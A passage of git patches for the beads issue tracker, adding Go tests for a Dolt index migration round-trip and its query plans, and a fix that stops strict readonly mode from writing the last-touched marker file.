range scan the planner has reason to serve from an index. updated_at is assigned in the same statement as defer_until: the column is ON UPDATE CURRENT_TIMESTAMP, so an UPDATE that did not name it would bump the rows back to now and re-empty the match set. Measured: 67 of 1000 rows for the stale probe, 100 of 1000 for the deferred probe, and the planner still picks both indexes under the row-bearing fixture. That last point settles the open uncertainty the review disclosed rather than asserted -- whether a non-empty match set would make Dolt switch away from the index. It does not. F3 — a comment claimed the ORDER BY needed "no sort step". The test's own captured plan contains TopN(Limit: [50]; issues.updated_at ASC). Dolt runs status IN (...) as two index range scans and merges them, so the composite buys access, not global ordering. Reworded to say that; no assertion changes, since the assertion (index use) was always true. F4 — cited line numbers had drifted across the 278-commit base advance: StartTestBranch is at :180 not :174, t.Parallel() at :146 not :140, testTimeout is 45s not the "30s" quoted. The getChildrenOfDeferredParentsInTx citation named internal/storage/dolt/ready_work.go, a file that does not exist -- it is internal/storage/issueops/ready_work.go. Every citation is now a symbol plus a package path, which is what stops this drifting again; none is a line number. Each fix carries its own evidence. The column-order assertion was checked by flipping the expectation to (updated_at, status): it fails with "column 1 is \"status\"; want \"updated_at\"", which is the regression the name-only form passed. Both tests run live against Dolt 2.2.0 -- RoundTrip 27.0s, ExplainCapture 14.4s with BEADS_RUN_EXPLAIN_CAPTURE=1, all PASS. --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Gas City Adopt-PR --- internal/storage/dolt/BUILD.bazel | 1 + internal/storage/dolt/migration_0052_test.go | 603 +++++++++++++++++++ 2 files changed, 604 insertions(+) create mode 100644 internal/storage/dolt/migration_0052_test.go diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index f09277ab4..c40805dd6 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -272,6 +272,7 @@ go_test( "metadata_merge_test.go", "metadata_schema_test.go", "metadata_validation_test.go", + "migration_0052_test.go", "mixed_table_lifecycle_test.go", "multistore_multiprocess_test.go", "open_test.go", diff --git a/internal/storage/dolt/migration_0052_test.go b/internal/storage/dolt/migration_0052_test.go new file mode 100644 index 000000000..a6b412bf9 --- /dev/null +++ b/internal/storage/dolt/migration_0052_test.go @@ -0,0 +1,603 @@ +package dolt + +import ( + "context" + "database/sql" + "fmt" + "os" + "sort" + "strconv" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" +) + +// TestMigration0052_RoundTrip covers the be-eei (D4v2) reversibility +// acceptance criterion: migration 0052 (renumbered from 0033 across schema +// history) must round-trip cleanly with the row population intact. +// Sequence: setup (migration already applied by setupTestStore) → verify the +// D4v2 index set is present and the dropped legacy index is absent → seed a +// non-trivial row fixture → run the 0052 down SQL → verify the D4v2 indexes +// are gone, the legacy idx_issues_status is restored, and row count is +// unchanged → run the 0052 up SQL again → verify the D4v2 indexes are back, +// the legacy index is dropped, and a sampled row set still matches. +// +// The indexes don't affect row data — they're pure metadata — so the +// row-count and sample-row invariants are the primary correctness signal. A +// missed DROP or malformed CREATE in the migration would surface here. +// +// Fixture scale: 2K rows per be-eei §8 guardrail 3. The round-trip +// demonstrates the DDL is correct under a meaningful population without +// pushing the test beyond a reasonable timeout. +// +// Isolation, and why it is load-bearing here rather than incidental: this test +// DROPs and re-CREATEs shared indexes (idx_issues_status_updated_at among +// them) partway through. That is only safe because setupTestStore puts each +// test on its own Dolt branch via testutil.StartTestBranch. On the shared +// testSharedDB without that branch, a concurrent test in this package would +// observe the table mid-round-trip with its indexes missing — a package-wide +// hazard, not a local one. Do not "optimize" the per-test branch away. +// (setupTestStore calls t.Parallel() itself, so this test does run in parallel +// with the rest of the package — the branch, not serialization, is what makes +// that safe.) +// +// Up/down SQL is run via the existing runMigrationSQL(path) helper +// (pr4107_corruption_test.go), which reads the file from disk and executes +// its full body as a single ExecContext call. That single-call shape is +// required, not just convenient: 0052's guarded DDL sets session-scoped +// @has_old/@sql user variables across PREPARE/EXECUTE/DEALLOCATE triples, +// and those variables only persist within one connection — a loop of +// per-statement calls against the *sql.DB pool could split them across +// different pooled connections and break the guard. +func TestMigration0052_RoundTrip(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + // Seed + DDL round-trip needs more wall-time than the package's default + // testTimeout; use 5x so this stays well inside -timeout 600s without + // flaking on slower Dolt server startups. + ctx, cancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer cancel() + + const ( + upSQLPath = "../schema/migrations/0052_add_date_indexes.up.sql" + downSQLPath = "../schema/migrations/0052_add_date_indexes.down.sql" + ) + + // D4v2 (be-eei §4): composite (status, updated_at) replaces the + // pre-0052 idx_issues_status, and standalone idx_issues_defer_until is + // added. idx_issues_status must not coexist with the composite after + // migration up. + d4v2Indexes := []string{ + "idx_issues_status_updated_at", + "idx_issues_defer_until", + } + legacyStatusIndex := []string{"idx_issues_status"} + + // The composition each name must carry, in key-part order. Asserting this + // alongside the names is what makes the round-trip a D4v2 gate rather than + // a name-set gate: (status, updated_at) reversed, or a legacy index + // restored on the wrong column, yields the same names. + d4v2Columns := map[string][]string{ + "idx_issues_status_updated_at": {"status", "updated_at"}, + "idx_issues_defer_until": {"defer_until"}, + } + legacyStatusColumns := map[string][]string{ + "idx_issues_status": {"status"}, + } + + // Phase 1: post-initial-migration. Composite + defer_until must exist, + // and the legacy idx_issues_status must be gone, because setupTestStore + // runs every embedded .up.sql including 0052. + assertIndexesPresent(t, ctx, store, d4v2Indexes, "after initial migration") + assertIndexColumns(t, ctx, store, d4v2Columns, "after initial migration") + assertIndexesAbsent(t, ctx, store, legacyStatusIndex, "after initial migration") + + // Seed 2K permanent issues — enough to prove the DDL round-trip under a + // meaningful population without pushing the test beyond a reasonable + // timeout (see the function-level comment for the scaling rationale). + const fixtureSize = 2_000 + seedDateIndexFixture(t, ctx, store, fixtureSize) + + // Capture the count and a stable sample of IDs before the round-trip. + wantCount := countIssues(t, ctx, store) + if wantCount < fixtureSize { + t.Fatalf("seed produced %d rows; want >=%d", wantCount, fixtureSize) + } + sampleIDs := sampleIssueIDs(t, ctx, store, 50) + + // Phase 2: apply the down SQL. D4v2 indexes must disappear; legacy + // idx_issues_status must come back; rows must not change. + runMigrationSQL(t, ctx, store, downSQLPath) + assertIndexesAbsent(t, ctx, store, d4v2Indexes, "after down migration") + assertIndexesPresent(t, ctx, store, legacyStatusIndex, "after down migration") + assertIndexColumns(t, ctx, store, legacyStatusColumns, "after down migration") + if got := countIssues(t, ctx, store); got != wantCount { + t.Fatalf("down migration changed row count: got %d, want %d", got, wantCount) + } + + // Phase 3: re-apply the up SQL. D4v2 indexes must return; legacy index + // drops again; rows must still be byte-identical against the sample. + runMigrationSQL(t, ctx, store, upSQLPath) + assertIndexesPresent(t, ctx, store, d4v2Indexes, "after re-running up migration") + assertIndexColumns(t, ctx, store, d4v2Columns, "after re-running up migration") + assertIndexesAbsent(t, ctx, store, legacyStatusIndex, "after re-running up migration") + if got := countIssues(t, ctx, store); got != wantCount { + t.Fatalf("up re-run changed row count: got %d, want %d", got, wantCount) + } + verifySampleIssues(t, ctx, store, sampleIDs) +} + +// assertIndexesPresent runs SHOW INDEX FROM issues and asserts each named +// index appears at least once. SHOW INDEX lists one row per key-part, so a +// composite index like idx_issues_status_updated_at surfaces twice (once +// per column); presence — not cardinality — is the invariant here. +// +// Presence is necessary but NOT sufficient for the D4v2 claim: see +// assertIndexColumns, which pins the composition the index exists for. +func assertIndexesPresent(t *testing.T, ctx context.Context, store *DoltStore, indexes []string, phase string) { + t.Helper() + got := indexColumns(t, ctx, store) + var missing []string + for _, want := range indexes { + if _, ok := got[want]; !ok { + missing = append(missing, want) + } + } + if len(missing) > 0 { + t.Fatalf("%s: missing indexes %v; got %v", phase, missing, sortedKeys(got)) + } +} + +func assertIndexesAbsent(t *testing.T, ctx context.Context, store *DoltStore, indexes []string, phase string) { + t.Helper() + got := indexColumns(t, ctx, store) + var present []string + for _, unwanted := range indexes { + if _, ok := got[unwanted]; ok { + present = append(present, unwanted) + } + } + if len(present) > 0 { + t.Fatalf("%s: indexes still present after drop: %v", phase, present) + } +} + +// assertIndexColumns pins each named index to its exact column list, in key-part +// order. +// +// A name-only assertion is too weak to carry the D4v2 claim, because the whole +// justification for idx_issues_status_updated_at is column ORDER: status is the +// equality prefix and updated_at the range suffix (0052_add_date_indexes.up.sql). +// A migration that created it as (updated_at, status) — or that restored the +// legacy idx_issues_status on some other column — produces an identical +// Key_name set, so it would satisfy every presence and absence assertion in +// this test while making the index useless for the two queries it was added +// for. Order is the invariant, so order is what gets asserted. +func assertIndexColumns(t *testing.T, ctx context.Context, store *DoltStore, want map[string][]string, phase string) { + t.Helper() + got := indexColumns(t, ctx, store) + for name, wantCols := range want { + gotCols, ok := got[name] + if !ok { + t.Fatalf("%s: index %s absent; got %v", phase, name, sortedKeys(got)) + } + if len(gotCols) != len(wantCols) { + t.Fatalf("%s: index %s has columns %v; want %v", phase, name, gotCols, wantCols) + } + for i := range wantCols { + if !strings.EqualFold(gotCols[i], wantCols[i]) { + t.Fatalf("%s: index %s column %d is %q; want %q (full: got %v, want %v)", + phase, name, i+1, gotCols[i], wantCols[i], gotCols, wantCols) + } + } + } +} + +// indexColumns runs SHOW INDEX FROM issues and returns each index name mapped +// to its columns in key-part order. +// +// SHOW INDEX emits one row per key-part and already carries both Seq_in_index +// and Column_name, so the composition is available without a second query — +// this helper used to scan those two columns and discard them one line before +// use. Columns are placed by Seq_in_index rather than by row arrival order, +// because SHOW INDEX is not contractually ordered. +func indexColumns(t *testing.T, ctx context.Context, store *DoltStore) map[string][]string { + t.Helper() + rows, err := store.db.QueryContext(ctx, "SHOW INDEX FROM issues") + if err != nil { + t.Fatalf("SHOW INDEX FROM issues: %v", err) + } + defer rows.Close() + + cols, err := rows.Columns() + if err != nil { + t.Fatalf("SHOW INDEX columns: %v", err) + } + // Locate by case-insensitive name rather than by fixed position: the column + // set of SHOW INDEX varies across MySQL-compatible engines. + colIndex := func(name string) int { + for i, c := range cols { + if strings.EqualFold(c, name) { + return i + } + } + t.Fatalf("SHOW INDEX output has no %s column; got %v", name, cols) + return -1 + } + keyNameCol := colIndex("Key_name") + seqCol := colIndex("Seq_in_index") + columnNameCol := colIndex("Column_name") + + // Key-parts keyed by Seq_in_index so a non-sequential result set still + // yields the declared order. + bySeq := make(map[string]map[int]string) + for rows.Next() { + scanDest := make([]any, len(cols)) + holders := make([]sql.NullString, len(cols)) + for i := range holders { + scanDest[i] = &holders[i] + } + if err := rows.Scan(scanDest...); err != nil { + t.Fatalf("SHOW INDEX scan: %v", err) + } + if !holders[keyNameCol].Valid { + continue + } + name := holders[keyNameCol].String + if _, ok := bySeq[name]; !ok { + bySeq[name] = make(map[int]string) + } + seq, err := strconv.Atoi(holders[seqCol].String) + if err != nil { + t.Fatalf("SHOW INDEX %s: unparseable Seq_in_index %q: %v", name, holders[seqCol].String, err) + } + bySeq[name][seq] = holders[columnNameCol].String + } + if err := rows.Err(); err != nil { + t.Fatalf("SHOW INDEX iter: %v", err) + } + + got := make(map[string][]string, len(bySeq)) + for name, parts := range bySeq { + seqs := make([]int, 0, len(parts)) + for seq := range parts { + seqs = append(seqs, seq) + } + sort.Ints(seqs) + ordered := make([]string, 0, len(seqs)) + for _, seq := range seqs { + ordered = append(ordered, parts[seq]) + } + got[name] = ordered + } + return got +} + +// sortedKeys returns the map's keys in ascending order. Map iteration is +// randomized, so without the sort the index names in a failure message +// reorder between runs and two reports of the same failure do not compare. +func sortedKeys(m map[string][]string) []string { + out := make([]string, 0, len(m)) + for k := range m { + out = append(out, k) + } + sort.Strings(out) + return out +} + +func countIssues(t *testing.T, ctx context.Context, store *DoltStore) int { + t.Helper() + var n int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues").Scan(&n); err != nil { + t.Fatalf("count issues: %v", err) + } + return n +} + +// sampleIssueIDs collects the first N issue IDs in id order for the round-trip +// integrity check. The ORDER BY makes the sample deterministic across runs; +// the fixture seeds ids as a zero-padded sequence, so "first N by id" is the +// first N rows inserted rather than a spread across the table. +func sampleIssueIDs(t *testing.T, ctx context.Context, store *DoltStore, n int) []string { + t.Helper() + // Scope to this fixture's own rows: the caller parses the trailing ordinal + // out of each id with strconv.Atoi, which hard-fails on any foreign id that + // happens to sort ahead of "date-idx-". + rows, err := store.db.QueryContext(ctx, + "SELECT id FROM issues WHERE id LIKE 'date-idx-%' ORDER BY id ASC LIMIT ?", n) + if err != nil { + t.Fatalf("sample ids: %v", err) + } + defer rows.Close() + var ids []string + for rows.Next() { + var id string + if err := rows.Scan(&id); err != nil { + t.Fatalf("sample id scan: %v", err) + } + ids = append(ids, id) + } + if err := rows.Err(); err != nil { + t.Fatalf("sample id iter: %v", err) + } + if len(ids) != n { + t.Fatalf("sample returned %d ids; want %d", len(ids), n) + } + return ids +} + +// verifySampleIssues spot-checks that a known set of issue IDs still exist and +// that their title, status and issue type round-tripped unchanged after +// up→down→up. Index operations don't touch row data, but a malformed DDL could +// in theory trigger Dolt table restructuring; this guards against that worst +// case. +// +// Expected status and type are recomputed from the ordinal encoded in the id +// rather than read back from a "before" snapshot, so the check cannot be +// satisfied by a value the round-trip itself corrupted symmetrically. This +// mirrors seedDateIndexFixture's own statuses[i%3] / issueTypes[i%3] cycling — +// keep the two in step if the fixture changes. +func verifySampleIssues(t *testing.T, ctx context.Context, store *DoltStore, ids []string) { + t.Helper() + for _, id := range ids { + iss, err := store.GetIssue(ctx, id) + if err != nil { + t.Fatalf("sample verify GetIssue(%s): %v", id, err) + } + if iss == nil { + t.Fatalf("sample verify: issue %s disappeared after round-trip", id) + } + if iss.ID != id { + t.Fatalf("sample verify: got id %s, want %s", iss.ID, id) + } + if !strings.HasPrefix(iss.Title, "date-idx ") { + t.Fatalf("sample verify %s: title mutated to %q", id, iss.Title) + } + ordinal, err := strconv.Atoi(strings.TrimPrefix(id, "date-idx-")) + if err != nil { + t.Fatalf("sample verify %s: unexpected id shape (fixture changed?): %v", id, err) + } + fixtureStatuses := []types.Status{types.StatusOpen, types.StatusInProgress, types.StatusClosed} + fixtureTypes := []types.IssueType{types.TypeTask, types.TypeBug, types.TypeFeature} + if want := fixtureStatuses[ordinal%len(fixtureStatuses)]; iss.Status != want { + t.Fatalf("sample verify %s: status mutated to %q, want %q", id, iss.Status, want) + } + if want := fixtureTypes[ordinal%len(fixtureTypes)]; iss.IssueType != want { + t.Fatalf("sample verify %s: issue type mutated to %q, want %q", id, iss.IssueType, want) + } + } +} + +// TestMigration0052_ExplainCapture asserts that the planner actually picks the +// D4v2 indexes for the two read shapes they exist for (bd stale's +// status+updated_at predicate, and bd ready's deferred-parents defer_until +// predicate), and prints the plans as the be-eei §8 guardrail 4 artifact. +// +// It began as a print-only diagnostic. Review of PR #5796 pointed out that the +// PR body advertised "EXPLAIN-verified query-plan assertions" while the test +// could not fail — it only t.Logf'd. Since the right index names demonstrably +// do appear, asserting on them costs nothing and converts a one-shot artifact +// into a standing planner-regression gate: if a future schema or Dolt upgrade +// silently stops using idx_issues_status_updated_at, an index whose entire +// justification is that these two queries use it, this now fails instead of +// printing a plan nobody reads. +// +// Still skipped unless explicitly opted in, to keep CI quiet — which does mean +// the gate only bites when someone runs it. That is the same bargain the +// fixture cost already forced; the assertion is strictly better than the +// t.Logf it replaces. +// +// The opt-in is an environment check rather than a short-mode skip: this is +// a diagnostic-artifact boundary, not the runtime/stress/large-fixture case +// that scripts/check-testing-short.sh reserves short-mode skips for. Matches +// the BEADS_RUN_DOLT_UPSTREAM_REPRO gate on the sibling repro test in this +// package. +func TestMigration0052_ExplainCapture(t *testing.T) { + if os.Getenv("BEADS_RUN_EXPLAIN_CAPTURE") == "" { + t.Skip("set BEADS_RUN_EXPLAIN_CAPTURE=1 to capture migration 0052 EXPLAIN plans (run with -v)") + } + + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 5*testTimeout) + defer cancel() + + const fixtureSize = 1_000 + seedDateIndexFixture(t, ctx, store, fixtureSize) + + // seedDateIndexFixture deliberately leaves every date column NULL, which + // makes both probe predicates match ZERO rows: defer_until IS NOT NULL is + // false everywhere, and rows carry the create path's current timestamp so + // nothing is older than the stale cutoff. The plans below would then be + // asserted over an empty match set — identical output to a 0-row table, so + // the 1K seed would buy no signal, and a planner regression that only + // appears once these columns hold values would be outside what this gate + // can see. Shape a non-NULL minority first, then assert a non-zero match + // count next to each plan so a PASS cannot mean "matched nothing". + shapeDatePredicateMinority(t, ctx, store, fixtureSize/10) + + // Dolt's EXPLAIN doesn't accept bind parameters, and the tabular EXPLAIN + // output has NULL bigint columns (rows, filtered) that the MySQL driver + // can't round-trip into any Go type cleanly. EXPLAIN FORMAT=TREE returns + // a single text column (the plan tree), which is what we want to capture + // in the PR anyway — it names the index the planner picks. + cases := []struct { + label string + query string + // countQuery is the same predicate as query, counted rather than + // explained: the input-size witness for this probe. A selective, + // non-empty match set is what makes the plan assertion meaningful. + countQuery string + // wantIndex is the substring Dolt's EXPLAIN FORMAT=TREE emits on the + // IndexedTableAccess node for the index this shape must use. + // + // The "index: [" prefix is load-bearing, not decoration. The plan's + // Filter node echoes the query's own predicate, so a bare column list + // like "issues.defer_until" appears in the output of a FULL TABLE SCAN + // too — the exact regression this gate exists to catch would pass. Only + // the "index: [...]" wrapper appears solely on IndexedTableAccess. + // + // Matching the column list rather than the index NAME is still + // deliberate: the plan names columns, not the index identifier, so + // that is the strongest claim the output supports. The wrapper is what + // anchors it to the node that proves index use. + wantIndex string + }{ + { + // Target: idx_issues_status_updated_at. Matches the + // GetStaleIssuesInTx predicate (internal/storage/issueops/ + // stale.go): status IN (...) as the equality prefix, + // updated_at < cutoff as the range suffix. + // + // The ORDER BY is NOT eliminated by the index, and the captured + // plan says so: it contains a TopN(Limit: [50]; updated_at ASC) + // node. Dolt runs status IN (...) as two index range scans and + // merges them, so the composite buys ACCESS — the equality + // prefix plus a bounded range — while the ordering is satisfied + // by a TopN over the already-filtered rows. That is still the + // reason the index exists; it is just not a sort-free plan. + label: "bd stale (status IN + updated_at < cutoff)", + query: "EXPLAIN FORMAT=TREE SELECT id FROM issues WHERE status IN ('open','in_progress') AND updated_at < '2020-01-01' AND (ephemeral = 0 OR ephemeral IS NULL) ORDER BY updated_at ASC LIMIT 50", + countQuery: "SELECT COUNT(*) FROM issues WHERE status IN ('open','in_progress') AND updated_at < '2020-01-01' AND (ephemeral = 0 OR ephemeral IS NULL)", + wantIndex: "index: [issues.status,issues.updated_at]", + }, + { + // Target: idx_issues_defer_until. Matches the + // getChildrenOfDeferredParentsInTx predicate + // (internal/storage/issueops/ready_work.go): defer_until IS NOT + // NULL skips the NULL-majority leaf, then range scan on + // defer_until > now. + label: "bd ready deferred-parents (defer_until IS NOT NULL AND defer_until > now)", + query: "EXPLAIN FORMAT=TREE SELECT id FROM issues WHERE defer_until IS NOT NULL AND defer_until > UTC_TIMESTAMP()", + countQuery: "SELECT COUNT(*) FROM issues WHERE defer_until IS NOT NULL AND defer_until > UTC_TIMESTAMP()", + wantIndex: "index: [issues.defer_until]", + }, + } + + for _, tc := range cases { + t.Run(tc.label, func(t *testing.T) { + // Input-size witness: a plan assertion over an empty match set + // reads PASS while proving nothing about the index under load. + var matched int + if err := store.db.QueryRowContext(ctx, tc.countQuery).Scan(&matched); err != nil { + t.Fatalf("match count for %q: %v", tc.label, err) + } + if matched == 0 { + t.Fatalf("%s: predicate matched 0 of %d fixture rows, so the plan below would be asserted over an empty match set; "+ + "shapeDatePredicateMinority did not produce rows this probe can see", tc.label, fixtureSize) + } + t.Logf("%s: predicate matches %d of %d fixture rows", tc.label, matched, fixtureSize) + + rows, err := store.db.QueryContext(ctx, tc.query) + if err != nil { + t.Fatalf("EXPLAIN %q: %v", tc.label, err) + } + defer rows.Close() + var planText strings.Builder + for rows.Next() { + var plan sql.NullString + if err := rows.Scan(&plan); err != nil { + t.Fatalf("scan: %v", err) + } + if plan.Valid { + planText.WriteString(plan.String) + planText.WriteByte('\n') + } + } + if err := rows.Err(); err != nil { + t.Fatalf("rows: %v", err) + } + + // The plan is the be-eei guardrail 4 artifact; log it either way so + // a failure reports what the planner actually chose instead of just + // that it was not what we wanted. + t.Logf("\n=== EXPLAIN: %s ===\n%s", tc.label, planText.String()) + + if !strings.Contains(planText.String(), tc.wantIndex) { + t.Errorf("planner did not use the D4v2 index for %s.\nwant plan to contain: %s\ngot plan:\n%s", + tc.label, tc.wantIndex, planText.String()) + } + }) + } +} + +// shapeDatePredicateMinority backdates updated_at and sets defer_until on the +// first n rows of the date-idx fixture, so the two plan probes in +// TestMigration0052_ExplainCapture have something to match. +// +// A minority, not the whole fixture: real distribution is NULL-majority (the +// premise seedDateIndexFixture is built on), and a predicate matching every row +// is not a range scan the planner has any reason to serve from an index — it +// would test the opposite of what these probes exist for. n/total around 10% +// keeps both predicates selective and non-empty. +// +// updated_at is assigned explicitly in the same statement that sets +// defer_until. The column is declared ON UPDATE CURRENT_TIMESTAMP +// (0001_create_issues.up.sql), so an UPDATE that did not name it would silently +// bump every touched row to now — re-emptying the very match set this helper +// exists to create. +func shapeDatePredicateMinority(t *testing.T, ctx context.Context, store *DoltStore, n int) { + t.Helper() + if n <= 0 { + t.Fatalf("shapeDatePredicateMinority: n must be positive, got %d", n) + } + // Ids are a zero-padded sequence, so a string upper bound selects the first + // n rows without arithmetic on the id. + upperBound := fmt.Sprintf("date-idx-%06d", n-1) + res, err := store.db.ExecContext(ctx, + `UPDATE issues + SET defer_until = '2099-01-01 00:00:00', + updated_at = '2019-06-01 00:00:00' + WHERE id LIKE 'date-idx-%' AND id <= ?`, upperBound) + if err != nil { + t.Fatalf("shape date predicate minority: %v", err) + } + affected, err := res.RowsAffected() + if err != nil { + t.Fatalf("shape date predicate minority rows affected: %v", err) + } + if affected != int64(n) { + t.Fatalf("shape date predicate minority: updated %d rows, want %d (fixture id shape changed?)", affected, n) + } +} + +// seedDateIndexFixture populates the store with N permanent issues. Status +// is cycled across open/in_progress/closed so the composite +// idx_issues_status_updated_at has non-trivial leading-column cardinality; +// date columns (started/closed/due/defer_until) stay NULL at seed time — +// real-world distribution is NULL-majority and the indexes we ship are +// expected to handle that. +func seedDateIndexFixture(t *testing.T, ctx context.Context, store *DoltStore, totalN int) { + t.Helper() + + const batch = 500 + statuses := []types.Status{types.StatusOpen, types.StatusInProgress, types.StatusClosed} + issueTypes := []types.IssueType{types.TypeTask, types.TypeBug, types.TypeFeature} + + for start := 0; start < totalN; start += batch { + end := start + batch + if end > totalN { + end = totalN + } + chunk := make([]*types.Issue, 0, end-start) + for i := start; i < end; i++ { + iss := &types.Issue{ + ID: fmt.Sprintf("date-idx-%06d", i), + Title: fmt.Sprintf("date-idx %06d", i), + Status: statuses[i%len(statuses)], + Priority: i % 5, + IssueType: issueTypes[i%len(issueTypes)], + } + chunk = append(chunk, iss) + } + if err := store.CreateIssuesWithFullOptions(ctx, chunk, "test", storage.BatchCreateOptions{ + SkipPrefixValidation: true, + }); err != nil { + t.Fatalf("seed date-idx batch %d: %v", start, err) + } + } +} From 3f9561db2bd1b1903ca8cbb39e9fc0cb37b0bccb Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Tue, 29 Sep 2026 19:17:57 -0600 Subject: [PATCH 252/624] fix(show): preserve last-touched under --readonly (#5786) * fix(show): preserve last-touched in readonly mode (#5785) Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * chore(bazel): enumerate last_touched_readonly_test.go in cmd/bd go_test srcs adopt-pr maintainer fixup for PR #5786. The PR adds a new //go:build cgo test file to cmd/bd; gazelle enumerates plain-cgo test srcs unconditionally (330 of 645 enumerated srcs at the base carry exactly that tag), so the new file is a real srcs-enumeration gap. Produced by `make bazel-sync`; no hand-edits. * fix(last-touched): guard ClearLastTouched, name both readonly triggers, add CHANGELOG entry Maintainer review fixup for the adopt-pr review of #5786 (iteration 1, synthesis approve, 0 blocker / 0 major). - CHANGELOG: add the missing [Unreleased]/Fixed entry naming --readonly, bd show and .beads/last-touched, linking #5785. Anchored at the tail of the Fixed list rather than its top, which is where main appends. - last_touched.go:65: the comment said "Strict --readonly", but the guard also fires when the flag is absent and readonly:true is set in config (main.go:1124 folds the config key into readonlyMode). Reworded to match the repo's canonical phrasing at serve.go:617-618. - ClearLastTouched: take the same readonly early return. Removing the marker is as much a mutation of workspace-local state as writing it, so this makes the file's stated invariant true rather than narrowing the comment to match the gap. Zero production callers today (definition plus one non-readonly test caller), so no shipping behavior changes. Declined, both non-gating and both "Required fix: None for merge": moving the cmdCtx.ReadonlyMode write in PersistentPreRunE (serve.go:612-618 documents reading the global deliberately, and the divergence is latent rather than live), and its conditional test arm, whose antecedent is false once the hardening is declined. --------- Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 10 ++ cmd/bd/BUILD.bazel | 1 + cmd/bd/last_touched.go | 14 +- cmd/bd/last_touched_readonly_test.go | 188 +++++++++++++++++++++++++++ 4 files changed, 212 insertions(+), 1 deletion(-) create mode 100644 cmd/bd/last_touched_readonly_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index bc62fe141..d02b6ce4e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -314,6 +314,16 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `--format` now wins over the config default; an explicit `--json` still wins over `--format`. +- **Strict readonly no longer records last-touched state** + ([#5785](https://github.com/gastownhall/beads/issues/5785)). Under strict + readonly (`--readonly`, or `readonly` in config), `bd show` wrote the issue + id to `.beads/last-touched` even though readonly promises not to mutate + workspace-local state — the database store was opened read-only while this + marker file was still written. `SetLastTouchedID` now returns early in that + mode, so a readonly workspace leaves the marker untouched. Ordinary + (non-readonly) `bd show` keeps recording last-touched exactly as before, so + only consumers driving `bd --readonly … --json` see the change. + ### Added - **Auto-backup runs on a managed-local proxied-server workspace.** The diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 577bc8605..f3a7837e7 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -832,6 +832,7 @@ go_test( "label_test.go", "label_whitespace_warn_test.go", "last_touched_guard_test.go", + "last_touched_readonly_test.go", "last_touched_test.go", "legacy_upgrade_guard_config_yaml_test.go", "legacy_upgrade_guard_e2e_test.go", diff --git a/cmd/bd/last_touched.go b/cmd/bd/last_touched.go index 9281e2413..028863f1a 100644 --- a/cmd/bd/last_touched.go +++ b/cmd/bd/last_touched.go @@ -62,7 +62,11 @@ func GetLastTouchedID() string { // SetLastTouchedID saves the ID of the last touched issue. // Silently ignores errors (best-effort tracking). func SetLastTouchedID(issueID string) { - if issueID == "" { + // Strict readonly (--readonly, or readonly in config) promises not to + // mutate workspace-local state. Keep ordinary read commands writable here: + // `bd show` records last-touched by design even though its database store + // is opened read-only. + if issueID == "" || isReadonlyMode() { return } @@ -86,6 +90,14 @@ func SetLastTouchedID(issueID string) { // ClearLastTouched removes the last touched file. // Silently ignores errors. func ClearLastTouched() { + // Same invariant as SetLastTouchedID: removing the marker is also a + // mutation of workspace-local state, so strict readonly must not do it. + // No production caller reaches here today, but guarding the sibling keeps + // the file's promise true if one is wired up later. + if isReadonlyMode() { + return + } + beadsDir := beads.FindBeadsDir() if beadsDir == "" { return diff --git a/cmd/bd/last_touched_readonly_test.go b/cmd/bd/last_touched_readonly_test.go new file mode 100644 index 000000000..04997c892 --- /dev/null +++ b/cmd/bd/last_touched_readonly_test.go @@ -0,0 +1,188 @@ +//go:build cgo + +package main + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + "time" +) + +type lastTouchedProcessResult struct { + stdout []byte + stderr []byte + exitCode int +} + +func runLastTouchedProcess(t *testing.T, binPath, workDir string, args ...string) lastTouchedProcessResult { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + profileDir := t.TempDir() + env := make([]string, 0, len(os.Environ())+12) + for _, entry := range os.Environ() { + key, _, _ := strings.Cut(entry, "=") + lowerKey := strings.ToLower(key) + if strings.HasPrefix(lowerKey, "bd_") || strings.HasPrefix(lowerKey, "beads_") { + continue + } + switch lowerKey { + case "home", "userprofile", "appdata", "localappdata", "xdg_config_home": + continue + } + env = append(env, entry) + } + env = append(env, + "HOME="+profileDir, + "USERPROFILE="+profileDir, + "APPDATA="+filepath.Join(profileDir, "AppData", "Roaming"), + "LOCALAPPDATA="+filepath.Join(profileDir, "AppData", "Local"), + "XDG_CONFIG_HOME="+filepath.Join(profileDir, "xdg-config"), + "BEADS_TEST_MODE=1", + "BEADS_TEST_IGNORE_REPO_CONFIG=1", + "BEADS_TEST_CIRCUIT_DIR="+filepath.Join(profileDir, "circuit"), + "BEADS_NO_DAEMON=1", + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + "BD_NON_INTERACTIVE=1", + "LINEAR_API_KEY=", + "NO_COLOR=1", + ) + + cmd := exec.CommandContext(ctx, binPath, args...) + cmd.Dir = workDir + cmd.Env = env + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + t.Fatalf("bd %v timed out after 30s\nstdout: %s\nstderr: %s", args, stdout.String(), stderr.String()) + } + + exitCode := 0 + if err != nil { + var exitErr *exec.ExitError + if !errors.As(err, &exitErr) { + t.Fatalf("bd %v in %s: %v\nstdout: %s\nstderr: %s", args, workDir, err, stdout.String(), stderr.String()) + } + exitCode = exitErr.ExitCode() + } + return lastTouchedProcessResult{stdout: stdout.Bytes(), stderr: 